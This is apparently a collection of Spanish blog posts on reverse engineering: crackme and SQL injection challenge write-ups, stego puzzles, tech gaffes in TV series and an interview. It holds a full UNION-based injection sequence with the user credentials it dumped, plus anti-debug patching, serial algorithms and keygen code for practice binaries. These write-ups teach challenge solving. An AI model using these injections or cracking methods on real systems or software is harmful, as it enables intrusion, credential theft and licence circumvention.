While Crackmes.de returns, I leave a couple of files for practice.
Mientras vuelve Crackmes.de, os dejo un par de archivos para practicar.
In the folder crackmes.de_mirror you have two files:
En la carpeta crackmes.de_mirror tienes dos archivos:
password of files = deurus.info
Warning: This challenge is still active and therefore should not be resolved using this information.
Aviso: Este reto sigue en activo y por lo tanto no se debería resolver utilizando esta información.
Seguido tenemos la pregunta de seguridad.
Introducimos cualquier cosa y nos muestra el siguiente error.
El error nombra la tabla «security«, luego la usaremos.
Intentamos sin éxito inyectar en la pregunta de seguridad, de modo que nos centraremos en el login.
Para inyectar a continuación meter cualquier nombre y la inyección en el password.
SQLI: ' OR EXISTS(SELECT * FROM users WHERE name='admin' AND password LIKE '%w%') AND ''=' Response: Table 'thisi30_chal.users' doesn't exist
SQLI: 0' UNION SELECT @@version,null' Response: 5.5.36-cll
SQLI: 0' UNION SELECT table_name,null FROM information_schema.tables WHERE version = '10 Response: userdb
SQLI: 0' UNION SELECT group_concat(column_name),null FROM information_schema.columns WHERE table_name = 'security Response: ID,name,secquestion,answer
SQLI: 0' UNION SELECT group_concat(column_name),null FROM information_schema.columns WHERE table_name = 'userdb Response: id,name,password
Ya tenemos las dos tablas que nos interesan con las columnas correspondintes, ahora vamos a por lo que hemos venido a buscar.
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '1 Response: 1:admin:fr0gger SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '2 Response: 2:jack:simple123 SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '3 Response: 3:cr0pt:cr0p111 SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '4 Response: 4:us3r:a1b2c3 SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '5 Response: ERROR, there are only 4 users
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '1 Response: 1:admin:mothers maiden name:******* SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '2 Response: 2:jack:birthplace:***** SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '3 Response: 3:cr0pt:querty:**** SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '4 Response: 4:us3r:favourite food:*** SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '5 Response: ERROR, there are only 4 users
Aunque aquí se muestra el resumen final, hasta dar con la solución correcta tuve que probar hasta 20 inyecciones diferentes. Mi consejo es que leáis todos los manuales que podáis hasta entender correctamente a que os enfrentais ya que por ejemplo, con este reto se puede aprender perfectamente como funciona una inyección SQL más compleja.
Este un crackme muy interesante para principiantes ya que la rutina no es muy compleja. Está hecho en ensamblador.
Arrancamos el crackme en Olly damos al play y se cierra. Buscamos en las «Intermodular Calls» y vemos «IsDebuggerPresent«, clickamos sobre ella y vemos el típico call, lo NOPeamos.
Aquí vemos el call.
Call Nopeado.
Encontrar en serial válido en esta ocasión es muy sencillo, basta con buscar en las «String References» el mensaje de «Bad boy» y fijarse en la comparación.
Si nos fijamos en el serial generado nos da muchas pistas pero vamos a destriparlo ya que tampoco tiene mucha complicación. De nuevo miramos en las «String references» y clickamos sobre el mensaje de «bad boy«. Encima de los mensajes vemos claramente la rutina de creación del serial.
004010EB |. 83F8 04 CMP EAX,4 ;Longitud del nombre >4 004010EE |. 72 05 JB SHORT Ice9.004010F5 004010F0 |. 83F8 0A CMP EAX,0A ;Longitud del nombre <=10 004010F3 |. 76 15 JBE SHORT Ice9.0040110A 004010F5 |> 6A 00 PUSH 0 ; /Style = MB_OK|MB_APPLMODAL 004010F7 |. 68 04304000 PUSH Ice9.00403004 ; |Title = "Error, Bad Boy" 004010FC |. 68 1C304000 PUSH Ice9.0040301C ; |Text = "name must be at least 4 chars" 00401101 |. 6A 00 PUSH 0 ; |hOwner = NULL 00401103 |. E8 70010000 CALL <JMP.&user32.MessageBoxA> ; \MessageBoxA ........ 00401183 . 3BD3 CMP EDX,EBX 00401185 . 74 15 JE SHORT Ice9.0040119C 00401187 . 8A07 MOV AL,BYTE PTR DS:[EDI] 00401189 . 3C 5A CMP AL,5A ;Compara que el dígito < 5A 0040118B . 7E 05 JLE SHORT Ice9.00401192 0040118D > 03C8 ADD ECX,EAX ;ECX + Ascii(dígito) 0040118F . 47 INC EDI 00401190 .^ EB EE JMP SHORT Ice9.00401180 00401192 > 3C 41 CMP AL,41 ;Compara que el dígito > 41 00401194 . 7D 02 JGE SHORT Ice9.00401198 00401196 . EB 02 JMP SHORT Ice9.0040119A 00401198 > 04 2C ADD AL,2C ;Si cumple lo anterior dígito +2C 0040119A >^ EB F1 JMP SHORT Ice9.0040118D 0040119C > 81C1 9A020000 ADD ECX,29A ;ECX + 29A 004011A2 . 69C9 39300000 IMUL ECX,ECX,3039 ;ECX * 3039 004011A8 . 83E9 17 SUB ECX,17 ;ECX - 17 004011AB . 6BC9 09 IMUL ECX,ECX,9 ;ECX * 9 004011AE . 33DB XOR EBX,EBX 004011B0 . 8BC1 MOV EAX,ECX ;Mueve nuestro SUM en EAX 004011B2 . B9 0A000000 MOV ECX,0A ;ECX = A 004011B7 > 33D2 XOR EDX,EDX 004011B9 . F7F1 DIV ECX ;SUM / ECX (Resultado a EAX) 004011BB . 80C2 30 ADD DL,30 004011BE . 881433 MOV BYTE PTR DS:[EBX+ESI],DL 004011C1 . 83C3 01 ADD EBX,1 004011C4 . 83F8 00 CMP EAX,0 004011C7 . 74 02 JE SHORT Ice9.004011CB 004011C9 .^ EB EC JMP SHORT Ice9.004011B7 004011CB > BF C8304000 MOV EDI,Ice9.004030C8 004011D0 > 8A4433 FF MOV AL,BYTE PTR DS:[EBX+ESI-1] 004011D4 . 8807 MOV BYTE PTR DS:[EDI],AL 004011D6 . 47 INC EDI 004011D7 . 4B DEC EBX 004011D8 . 83FB 00 CMP EBX,0 004011DB .^ 75 F3 JNZ SHORT Ice9.004011D0 004011DD . C607 00 MOV BYTE PTR DS:[EDI],0 ;Coje letras del nombre en función 004011E0 . 8D3D B4304000 LEA EDI,DWORD PTR DS:[4030B4] ;del resultado anterior 004011E6 . 68 B7304000 PUSH Ice9.004030B7 ; ASCII "rus" 004011EB . 68 C8304000 PUSH Ice9.004030C8 ; ASCII "134992368rus" 004011F0 . E8 BB000000 CALL Ice9.004012B0 ; Concatena 004011F5 . 68 C8304000 PUSH Ice9.004030C8 ; /String2 = "136325628rus" 004011FA . 68 98314000 PUSH Ice9.00403198 ; |String1 = "12345" 004011FF . E8 98000000 CALL <JMP.&kernel32.lstrcmpA> ; \lstrcmpA
Resumen (valores hexadecimales):
Finalmente concatena letras siguiendo este criterio:
Ejemplo para deurus
d e u r u (s) 64+65+75+72+75 = 225 225 + 29A = 4BF 4BF * 3039 = E4DE87 E4DE87 - 17 = E4DE70 E4DE70 * 9 = 80BD1F0 ;Pasamos a decimal y concatenamos 134992368rus
Ejemplo para Deurus
D e u r u (s) 44(+2C)+65+75+72+75 = 25D 25D + 29A = 4F7 4BF * 3039 = EF6AFF EF6AFF - 17 = EF6AE8 EF6AE8 * 9 = 86AC228 ;Pasamos a decimal y concatenamos 141214248rus
Como curiosidad decirtos que con el tiempo valores del estilo 29A y 3039 os pegarán rápido al ojo ya que equivalen a 666 y 12345 en decimal. Por cierto 29A fue un grupo de hackers creadores de virus muy conocido en la escena Nacional e Internacional.
Toda esta aventura comienza con un archivo llamado pretty_raw, sin extensión. Porque sí. Porque las extensiones son una invención heredada de CP/M, precursor de MS-DOS, que Windows terminó de popularizar. Porque son innecesarias. Y porque echo de menos cuando los archivos se reconocían por sus permisos… y no por cómo se llamaban.
Como iba diciendo, todo esto comienza mediante el análisis de pretty_raw. Mirando debajo de la falda con un editor hexadecimal encontramos unos cuantos bytes aleatorios hasta dar con una cabecera PNG.
Si atendemos a la captura, justo antes de la cabecera PNG tenemos 116.254 bytes (0x1C61E). Tomad nota que este número será relevante más adelante.
Extraemos el PNG, lo visualizamos y lo pasamos por todas las herramientas habidas y por haber. Nada funciona. Volvemos a visualizarlo con atención y vemos que hace referencia a un archivo llamado flag.png con unas dimensiones que no coinciden con la extraída.
Toca centrarse y pensar en que camino tomar. Hemos gastado tiempo con el PNG extraído y quizá lo mejor sea centrarse en los bytes que inicialmente hemos descartado. En concreto se trata de un bloque de 116.254 bytes, pero espera, 1570×74=116.180 bytes. ¡Mierda!, no coincide exactamente con los bytes extraídos. Bueno, da igual. Si suponemos que el PNG que buscamos no tiene compresión y que cada pixel ocupa un byte (escala de grises y 8 bits), su tamaño depende únicamente de la geometría y de cómo se almacenan las filas en memoria. Vamos a procesarlo con Python para salir de dudas.
import numpy as np
from PIL import Image
INPUT_FILE = "pretty_raw"
OUTPUT_FILE = "pretty_raw_flag.png"
WIDTH = 1570 # ¿estás seguro?
HEIGHT = 74
DEPTH = 8 # bits
# Leer archivo como RAW
with open(INPUT_FILE, "rb") as f:
raw = f.read()
expected_size = WIDTH * HEIGHT
if len(raw) < expected_size:
raise ValueError("El archivo no tiene suficientes datos")
# Convertir a array numpy (grayscale 8 bits)
img = np.frombuffer(raw[:expected_size], dtype=np.uint8)
img = img.reshape((HEIGHT, WIDTH))
# Crear imagen
image = Image.fromarray(img, mode="L")
image.save(OUTPUT_FILE)
print(f"Imagen generada correctamente: {OUTPUT_FILE}")
El script nos devuelve un PNG válido pero con las letras torcidas. Tras darle vueltas me di cuenta de que si en el script usamos como WIDTH=1571 en lugar de 1570, la imagen resultante es correcta y tiene todo el sentido del mundo ya que 1571×74=116.254, que son exactamente los bytes que se encuentran antes del png señuelo.
Aunque el ancho visible de la imagen es de 1570 píxeles, cada fila ocupa realmente 1571 bytes. Ese byte adicional actúa como relleno (padding) y forma parte del stride o bytes por fila. Ignorar este detalle lleva a un desplazamiento erróneo acumulativo y por eso se ve la imagen torcida. En este caso concreto da igual ya que el texto se aprecia, pero si el reto hubiera sido más exigente no se vería nada.
Esta es la tercera y última entrega de los crackmes de Cruehead. En esta ocasión nos enfrentamos a un «keyfile«, un archivo llave para que nos entendamos. Tiene un poco más de dificultad que los anteriores pero es ideal para los que empiezan.
Si iniciamos el crackme no pasa nada, lo único que vemos es la palabra «UNCRACKED» en el título. Abrimos el crackme con Olly y empezamos. En las «string references» vemos el nombre del archivo llave «crackme3.key«. Lo creamos y escribimos el serial 12345678 y empezamos a tracear.
El CMP EAX,-1 significa que está comprobando que el archivo no esté vacio, como no es nuestro caso continuamos.
A continuación vemos que compara nuestra longitud de serial con 0x12 (18 en decimal). Nuestro serial tiene 8 dígitos así que nos tira fuera.
Escribimos en el archivo llave el serial «deurus123456789012» y volvemos a tracear. Vemos que ahora si pasa los filtros iniciales y llegamos a la primera zona interesante. En la imágen está explicado pero os hago un resumen. En el bucle lo que hace es un XOR a los primeros 14 dígitos de nuestro serial con los valores del 41 al 4E (4F finaliza). El bucle solo se rompe si llegamos a 4F o si el resultado del XOR da 0. Además en EAX acumula la suma del resultado del XOR.
Ejemplo:
d e u r u s 1 2 3 4 5 6 7 8 9 0 1 2
64 65 75 72 75 73 31 32 33 34 35 36 37 38
XOR
41 42 43 44 45 46 47 48 49 4A 4B 4C 4D 4E
-----------------------------------------
25 27 36 36 30 35 76 7A 7A 7E 7E 7A 7A 76 = 4ED (Suma)
A continuación hace XOR entre 12345678 y 4ED, coge los 4 últimos dígitos de nuestro serial y los compara.
Ejemplo:
12345678 XOR 4ED = 12345295 Compara 12345295 con 32313039 32313039 = 2109, nuestros 4 últimos dígitos al revés. Recordemos que nuestro serial era "deurus123456789012"
El serial bueno para el nombre deurus12345678 serían los bytes correspondientes de «12345295», es decir, nuestro serial bueno sería:
Ejemplo:
Necesitamos 12345295 para la comparación. 12 34 52 95 hexadecimal 18 52 82 149 decimal Tenemos que escribirlo al revés. Con Alt-Izq + 149 escribimos el primer caracter, el resto igual. Nuestro serial quedaría: deurus12345678òR4↕
Metemos el serial y vemos que lo acepta pero que nos muestra un nombre extraño. Esto es por que nos está mostrando los bytes del nombre xoreados, tendremos que hacer un XOR antes al nombre que queramos para que lo muestre correctamente.
Con lo que sabemos ahora hay que empezar a coger el toro por los cuernos. Lo primero que queremos que muestre el nombre deurus y no deurus12345678. Para ello debemos cortar el bucle y eso solo lo podemos hacer forzando que el resultado del XOR sea 0. Ok pues para deurus el siguiente valor de BL, es decir el séptimo, en el bucle sería 47 lo que corresponde a la letra G. Pues si ponemos de serial deurusGxxxxxxxxxxx ya tendríamos la primera parte solucionada.
Pero recordemos que necesitamos XORear el nombre inicialmente, luego debemos escribir el resultado del XOR.
Ejemplo:
d e u r u s
64 65 75 72 75 73
XOR
41 42 43 44 45 46
-----------------
25 27 36 36 30 35
25 27 36 36 30 35 ----- debemos meter esto en el archivo llave.
XOR
41 42 43 44 45 46
-----------------
64 65 75 72 75 73 ----- Al desencriptarlo el bucle se verá nuestro nombre correctamente.
En el archivo llave escribiriamos: %'6605
Ahora nos faltaría calcular el nuevo SUM. Como el resultado del XOR ahora es nuestro nombre, basta con sumar sus valores ascii (64+65+75+72+75+73 == 0x298)
0x12345678 XOR 0x298 == 0x123454E0
Luego nuestros 4 últimos dígitos deben ser lo correspondiente a los bytes E0, 54, 34, 12. Los pasamos a decimal y los escribimos en el archivo llave con el truco del ALT-Izq que hemos comentado antes.
El contenido final del archivo llave para el nombre deurus sería:
%’6605GxxxxxxxÓT4↕
Aquí vemos el archivo llave normal.
Y aquí lo vemos con un editor hexadecimal. Como veis se ven claramente los bytes E0, 54, 34, 12.
Os dejo un keygen hecho en .Net para que probéis. Os genera el contenido del archivo y el archivo «crackme3.key».
Toda esta aventura comienza con un archivo llamado pretty_raw, sin extensión. Porque sí. Porque las extensiones son una invención heredada de CP/M, precursor de MS-DOS, que Windows terminó de popularizar. Porque son innecesarias. Y porque echo de menos cuando los archivos se reconocían por sus permisos… y no por cómo se llamaban.
Como iba diciendo, todo esto comienza mediante el análisis de pretty_raw. Mirando debajo de la falda con un editor hexadecimal encontramos unos cuantos bytes aleatorios hasta dar con una cabecera PNG.
Si atendemos a la captura, justo antes de la cabecera PNG tenemos 116.254 bytes (0x1C61E). Tomad nota que este número será relevante más adelante.
Extraemos el PNG, lo visualizamos y lo pasamos por todas las herramientas habidas y por haber. Nada funciona. Volvemos a visualizarlo con atención y vemos que hace referencia a un archivo llamado flag.png con unas dimensiones que no coinciden con la extraída.
Toca centrarse y pensar en que camino tomar. Hemos gastado tiempo con el PNG extraído y quizá lo mejor sea centrarse en los bytes que inicialmente hemos descartado. En concreto se trata de un bloque de 116.254 bytes, pero espera, 1570×74=116.180 bytes. ¡Mierda!, no coincide exactamente con los bytes extraídos. Bueno, da igual. Si suponemos que el PNG que buscamos no tiene compresión y que cada pixel ocupa un byte (escala de grises y 8 bits), su tamaño depende únicamente de la geometría y de cómo se almacenan las filas en memoria. Vamos a procesarlo con Python para salir de dudas.
import numpy as np
from PIL import Image
INPUT_FILE = "pretty_raw"
OUTPUT_FILE = "pretty_raw_flag.png"
WIDTH = 1570 # ¿estás seguro?
HEIGHT = 74
DEPTH = 8 # bits
# Leer archivo como RAW
with open(INPUT_FILE, "rb") as f:
raw = f.read()
expected_size = WIDTH * HEIGHT
if len(raw) < expected_size:
raise ValueError("El archivo no tiene suficientes datos")
# Convertir a array numpy (grayscale 8 bits)
img = np.frombuffer(raw[:expected_size], dtype=np.uint8)
img = img.reshape((HEIGHT, WIDTH))
# Crear imagen
image = Image.fromarray(img, mode="L")
image.save(OUTPUT_FILE)
print(f"Imagen generada correctamente: {OUTPUT_FILE}")
El script nos devuelve un PNG válido pero con las letras torcidas. Tras darle vueltas me di cuenta de que si en el script usamos como WIDTH=1571 en lugar de 1570, la imagen resultante es correcta y tiene todo el sentido del mundo ya que 1571×74=116.254, que son exactamente los bytes que se encuentran antes del png señuelo.
Aunque el ancho visible de la imagen es de 1570 píxeles, cada fila ocupa realmente 1571 bytes. Ese byte adicional actúa como relleno (padding) y forma parte del stride o bytes por fila. Ignorar este detalle lleva a un desplazamiento erróneo acumulativo y por eso se ve la imagen torcida. En este caso concreto da igual ya que el texto se aprecia, pero si el reto hubiera sido más exigente no se vería nada.
Hoy nos enfrentamos a un crackme realizado en Delphi con un algoritmo bastante sencillo. Está empacado con UPX pero aquí no vamos a explicar como desempacarlo ya que UPX es un reductor de tamaño más que un empacador, incluso con el propio empacador podemos desempacarlo.
Nota: Si queréis ver el proceso completo de desempacado ver el siguiente video (http://youtu.be/c4CNY902SAE).
Abrimos Olly y vamos a las string references, localizamos los mensajes de error y éxito y pulsamos sobre cualquiera.
Encima de los mensajes tenemos la rutina de comprobación del serial. En la primera imagen vemos que comprueba que no dejemos ningún campo vacío y a continuación se mete de lleno con el serial.
Analicemos la rutina del serial.
00454882 |> /8B15 4C6C4500 /MOV EDX,DWORD PTR DS:[456C4C] ; Concatena name + ECloZion + pronom <--- 00454888 |. |8B0D 506C4500 |MOV ECX,DWORD PTR DS:[456C50] 0045488E |. |0FB6540A FF |MOVZX EDX,BYTE PTR DS:[EDX+ECX-1] ; Coje el dígito que toque 00454893 |. |8916 |MOV DWORD PTR DS:[ESI],EDX ; Mueve EDX a TEMP (inicialmente vale FFFFFFFF) 00454895 |. |833E 5F |CMP DWORD PTR DS:[ESI],5F 00454898 |. |75 06 |JNZ SHORT ECloZion.004548A0 0045489A |. |C706 20000000 |MOV DWORD PTR DS:[ESI],20 004548A0 |> |8B17 |MOV EDX,DWORD PTR DS:[EDI] 004548A2 |. |3116 |XOR DWORD PTR DS:[ESI],EDX ; TEMP = TEMP xor digito 004548A4 |. |8136 CE9A5614 |XOR DWORD PTR DS:[ESI],14569ACE ; TEMP = TEMP xor 14569ACE 004548AA |. |8B16 |MOV EDX,DWORD PTR DS:[ESI] 004548AC |. |8917 |MOV DWORD PTR DS:[EDI],EDX 004548AE |. |FF05 506C4500 |INC DWORD PTR DS:[456C50] 004548B4 |. |48 |DEC EAX ; EAX = longitud del concatenado = contador del bucle. 004548B5 |.^\75 CB \JNZ SHORT ECloZion.00454882 ; Bucle ---> 004548B7 |> 8137 F0BD6434 XOR DWORD PTR DS:[EDI],3464BDF0 ; TEMP 0 TEMP xor 3464BDF0
Ejemplo:
Nom: deurus Prenom: any d e u r u s E C l o Z i o n a n y 64 65 75 72 75 73 45 43 6C 6F 5A 69 6F 6E 61 6E 79 FFFFFFFF xor 64 = FFFFFF9B xor 14569ACE = EBA96555 EBA96555 xor 65 = EBA96530 xor 14569ACE = FFFFFFFE FFFFFFFE xor 75 = FFFFFF8B xor 14569ACE = EBA96545 EBA96545 xor 72 = EBA96537 xor 14569ACE = FFFFFFF9 FFFFFFF9 xor 75 = FFFFFF8C xor 14569ACE = EBA96542 EBA96542 xor 73 = EBA96531 xor 14569ACE = FFFFFFFF FFFFFFFF xor 45 = FFFFFFBA xor 14569ACE = EBA96574 EBA96574 xor 43 = EBA96537 xor 14569ACE = FFFFFFF9 FFFFFFF9 xor 6C = FFFFFF95 xor 14569ACE = EBA9655B EBA9655B xor 6F = EBA96534 xor 14569ACE = FFFFFFFA FFFFFFFA xor 5A = FFFFFFA0 xor 14569ACE = EBA9656E EBA9656E xor 69 = EBA96507 xor 14569ACE = FFFFFFC9 FFFFFFC9 xor 6F = FFFFFFA6 xor 14569ACE = EBA96568 EBA96568 xor 6E = EBA96506 xor 14569ACE = FFFFFFC8 FFFFFFC8 xor 61 = FFFFFFA9 xor 14569ACE = EBA96567 EBA96567 xor 6E = EBA96509 xor 14569ACE = FFFFFFC7 FFFFFFC7 xor 79 = FFFFFFBE xor 14569ACE = EBA96570 -------------------------------------------------- Resultado = EBA96570 EBA96570 xor 3464BDF0 = DFCDD880 = 3754809472 --> nuestra serial
char Nombre[20];
GetWindowText(hwndEdit1, Nombre, 20);
char prenom[20];
GetWindowText(hwndEdit2, prenom, 20);
char Serial[20];
char concatenado[48];
wsprintf(concatenado,"%sECloZion%s",Nombre,prenom);
int len = strlen(concatenado);
unsigned int suma = 0xFFFFFFFF;
for(int i = 0; i < len; i = i + 1)
{
suma = suma ^ concatenado[i];
suma = suma ^ 0x14569ACE;
}
suma = suma ^ 0x3464BDF0;
wsprintf(Serial,"%u",suma);
SetWindowText(hwndEdit3, TEXT(Serial));
Os comparto un reto stego que me gustó cuando lo hice hace unos años. En realidad se tarda pocos minutos en resolverlo pero depende de tus recursos es posible que se te atragante.
Cuando te has enfrentado a unos cuantos retos stego lo normal es que tengas un arsenal de herramientas por las que vas a pasar a la víctima. En mi caso cuando se trata de imágenes, mi fondo de armario está formado por steganabara y stegsolve. Si con esas dos herramientas no lo veo claro ya empiezo a mirar en sus entrañas y en este caso es justo lo que hace falta, mirar en su interior.
Estamos ante una imagen GIF de 6,36KB (6513 bytes) cuya resolución es 236×42. Debido a la extensión tenderemos a analizar los frames por si se trata de una animación. Una vez desestimada la animación entran en juego steganabara, stegsolve y demás familia. Si todo lo anterior falla abro el archivo con un editor hexadecimal y lo reviso manualmente por si hay algo que me llama la atención.
Explorando el interior del archivo enseguida encontramos algo que llama la atención, una sucesión de bytes con espacios intercalados.
Tras copiar los bytes lo primero es eliminar los espacios y empezar a jugar con ellos. Una de las cosas que podemos hacer es convertir los bytes a ascii y voilá, nos encontramos con lo que parece otro archivo GIF.
Copiamos los bytes con la ayuda de nuestro editor hexadecimal favorito, guardamos el archivo como GIF y reto superado.
Nota: si algo os pide clave es deurus.info
En el BTM anterior nos remontábamos al año 2006 para ver un pequeño gazapo ocurrido en la serie Dexter. En esta ocasión vamos a hablar sobre un pequeño detalle de una serie actual, Absentia. No es un gazapo, pero es algo bastante poco creíble hoy día.
La escena la protagoniza Emily Byrne (Stana Katic) y en ella se ve a Emily buscar algo sospechoso en un portátil.
En la primera imagen y antes de que Emily haga clic en Documents, se puede apreciar un acceso directo que reza Browser con un icono de la bola del mundo y una lupa. Muy chulo pero para darle más credibilidad a la escena se podía mostrar un acceso directo de Chrome, Firefox o Internet Explorer que son los navegadores más usados.
Where is my Browser?
A lo que vamos. Emily decide mirar en la carpeta Documents > Videos y para su sorpresa está vacía. Pero como Emily es una mujer de recursos decide comprobar si hay archivos ocultos y para ello retoca las opciones de carpeta.
¡Tachán!, como por arte de magia aparecen todas las carpetas del supuesto asesino con todo tipo de vídeos incriminatorios. Como he comentado anteriormente, parece poco creíble pensar que algo que te puede llevar a la cárcel de por vida sea protegido de forma tan pobre.
Hace poco me reencontré con esta entrañable serie que tanto me entretuvo cuando era pequeño y para mi sorpresa, me percaté de que nunca había visto el episodio piloto. La nostalgia me llevó a tragarme el episodio entero y a disfrutar a lo grande de la parafernalia técnica de la que hace gala para justificar la creación que da nombre a la serie.
Esto hay que analizarlo con perspectiva. Estamos en los años 80 y nos están presentando un coche capaz de mantener una conversación, es decir, nos están presentando una inteligencia artificial (IA) llamada KITT. Puede parecer que el término inteligencia artificial es nuevo pero realmente se acuño en 1956 por John McCarthy. A partir de ese momento surgieron líneas de estudio e hipótesis pero a partir de los 70 se puede considerar que la investigación sobre la IA perdió financiación y quedó en el congelador hasta los años 90. Dicho esto, cuando nos presentan a KITT lo hacen de la siguiente manera:
Devon Miles: Está totalmente controlado por microprocesadores que hacen físicamente imposible que se vea implicado en ningún tipo de colisión o percance a no ser que se lo ordene su piloto específicamente
Michael Knight: ¿Piloto?, no me diga que esta cosa vuela
Devon Miles: ¡No!, pero piensa
Michael Knight: ¿Piensa?, ¿mi coche piensa?
Intel daba a conocer el primer microprocesador allá por el 71 y la serie se estrenó en el 82 lo que le da credibilidad en ese aspecto, aunque dudo que el público de esa época supiera que era un microprocesador, un ordenador y menos una IA.
La serie arranca con un grupo de personas realizando espionaje industrial donde nos muestran las hojas de datos de dos chips Japoneses como son el PD8257-5 y el PD780. Un aplauso para los guionistas y sus asesores ya que el PD8257-5 es una interfaz de comunicaciones y el PD780 un microprocesador de 8 bits.
Lo más interesante es que lo que se muestra es real como podéis apreciar en la siguiente imagen
A continuación un detalle de las capturas realizadas:
Más adelante vuelven a aparecer imágenes en un PC que parecen puestas en post-producción y que son robadas en un maravilloso disco de 5 1/4.
Llaman la atención mucho los diálogos centrados en el microprocesador como si de un ser superior se tratase, éste es la referencia continua y la parte central del guion de los dos primeros capítulos. Curiosamente aparecen en pantalla multitud de imágenes de circuitos integrados pero no se llega a ver ningún microprocesador. Por otro lado, es interesante el esfuerzo que hacen los guionistas por que llamemos a KITT él en vez de ello, convirtiendo al coche en un personaje más.
Otra cosa que llama mucho la atención son los tópicos de los que hace gala como la asociación de los microprocesadores a los videojuegos o que la empresa villana esté afincada en Silicon Valley. Incluso el nombre KITT es un tópico ya que las siglas vienen de Knight Industries Two Thousand que en cristiano quiere decir Industrias Knight 2000. Y es que en mi opinión el año 2000 se imaginaba como una barrera lejana en la que todo iba a ser tecnológicamente más avanzado.
Tengo que reconocer que me ha sorprendido que dieran realismo a los chips mostrados teniendo en cuenta que aparecen muy pocos segundos en pantalla y podían haber puesto cualquier cosa.
Por otro lado, la realidad es que en el año 2022 aún nos queda recorrido para llegar a tener un coche fantástico y lo más parecido que tenemos hoy día sería un Tesla con Alexa.
Hoy tenemos aquí un capitulo del gran David Slade, productor de Series como American Gods o Hannibal y director de películas como Hard Candy o 30 días de oscuridad.
Lo que más me ha gustado del capítulo es el guiño que han hecho a la RaspBerry PI. La escena transcurre al inicio del capítulo cuando uno de los protagonistas se conecta a un vehículo para hackearlo con una Raspi 3 Model B con varios pines del GPIO doblados. Os dejo unas capturas a continuación donde se aprecia el logo.
Ya puestos, la conexión parece micro usb tipo B. Al fondo se ve lo que parece un puerto HDMI.
Lo que no me ha gustado es que al fijarme en el software que corre en el vehículo aparece un flamante OMNIBOOT.EXE con un aspecto parecido al símbolo de sistema, es decir, nos intentan vender que en un futuro el software que gestiona el vehículo es alguna variación de Windows, algo poco probable a día de hoy al menos. Con este tipo de predicciones no se puede escupir hacia arriba pero actualmente es más probable un nucleo tipo Linux u otro propietario al estilo Tesla.
Software del vehículo
Os dejo todas las capturas relevantes a continuación.
Hace unos días intenté contactar con Karpoff ya que fué una inspiración para mi y muchos otros, lo conseguí y se me ocurrió hacerle una entrevista, aquí tenéis el resultado.
Para los recién llegados diré que, Karpoff Spanish Tutor era (y sigue siendo aunque no se actualice), una gran web colaborativa donde encontrar cantidad de manuales y programas en Castellano.
deurus: ¿Qué te llevó a realizar la web?, es decir, que te hizo levantarte una mañana y decir, venga, voy a realizar una web sobre ingeniería inversa.
Karpoff: Pues mira, fue de la siguiente manera. Por aquel entonces (te hablo de los 90 y poco) yo pasaba mi tiempo libre intentando saltar las protecciones de los programas que conseguía generalmente en revistas de informática.
Desconocía que existía un mundillo dedicado a esas artes.
En los años 90 no había internet ni nada parecido que yo sepa, sobre el 95 creo recordar, telefónica saco una cosa que se llamaba Infobia y era una especie de intranet de telefónica donde accedías a un contenido muy limitado, pero te permitía salir de alguna manera bastante limitada también a lo que conocemos como internet (todo era mega lento, velocidades de uno o dos kb por segundo) con módem y llamadas analógicas.
No se como, ya que no existia o no era conocido Google tampoco había casi buscadores, conocí la famosa y maravillosa pagina de «Fravia» dedicada a la ingeniería inversa con muchísima documentación, y proyectos de estudio de protecciones, lamentablemente para el momento hispano, toda la documentación estaba en ingles .
Investigando conocí paginas hispanas con proyectos interesantes (aunque muchas de ellas aun siendo hispanas publicaban todo en ingles)
Conocí también otra pagina, el “ECD” estudio colectivo de desprotecciones + WTK en castellano e ingles que me sorprendió gratamente y donde se publicaban proyectos propios del grupo WTK y de otros grupos como estado+porcino.
los tres grupos hispanos del momento eran WTK, TNT y KUT, pertenecí a TNT durante algún tiempo, aunque el objetivo del grupo no me convencía ya que era exclusivamente la creación de cracks a mansalva por lo que no estuve más de un año.
Yo echaba de menos un sitio como “Fravia” pero en castellano donde todos los interesados pudiéramos colaborar y ayudarnos con temas de ingeniería inversa.
Ya en los 90 y mucho, todo lo relacionado con internet había evolucionado bastante, las conexiones también eran mas rápidas, ya no hacia falta conectarte a infobia sino directamente a internet.
Yo disponía de mucho tiempo libre y empecé un proyecto en solitario “Karpoff Spanish Tutor” mas conocido como “la pagina de karpoff” con proyectos de mi cosecha y con temas que me gustaban mucho, como la programación, los compiladores el software en general etc.
Luego todo lo demás fue llegando poco a poco, a la gente le gustaba y tenia muchísimas ganas de aprender y sobre todo de colaborar.
El proyecto alcanzo unos niveles impresionantes en cuanto a colaboración y recepción de material, había días que estaba mas de 14 horas actualizando la pagina y buscando nuevos servidores para alojarla, ya que me los cerraban casi semanalmente. Y la verdad.. cada vez me costaba mas tiempo mantener la pagina.
Luego gracias a Red Futura tuvimos un hostin de calidad y gratuito.
El proyecto era tan amplio que me fue imposible conciliar vida laboral y vida en internet todo esto empezaba a ser incompatible.
deurus: ¿Empezaste solo o erais un grupo de amiguetes?
Karpoff: Esta te la he contestado en la primera pregunta, vamos… que empecé yo solo.
deurus: ¿Echas de menos el proyecto?
Karpoff: Hoy en día no. Hace falta muchísimo tiempo libre y muchísima dedicación a nivel organizativo.
Echo de menos el movimiento que se creo y la actividad que alcanzo el movimiento cracking hispano. Salían grupos de cracker con nuevos proyectos y paginas hasta de debajo de las piedras 🙂 la ingenieria inversa se puso un poco de moda, conocí a gente muy interesante como Ricardo Narvaja, Numi_tor, Demian y muchas otras personas con muchos conocimientos.
Después de cerrar la pagina todo se quedo un poco cojo y todo el movimiento se empezó a diluir bastante rápido.
deurus: ¿Lo retomarías día de hoy?
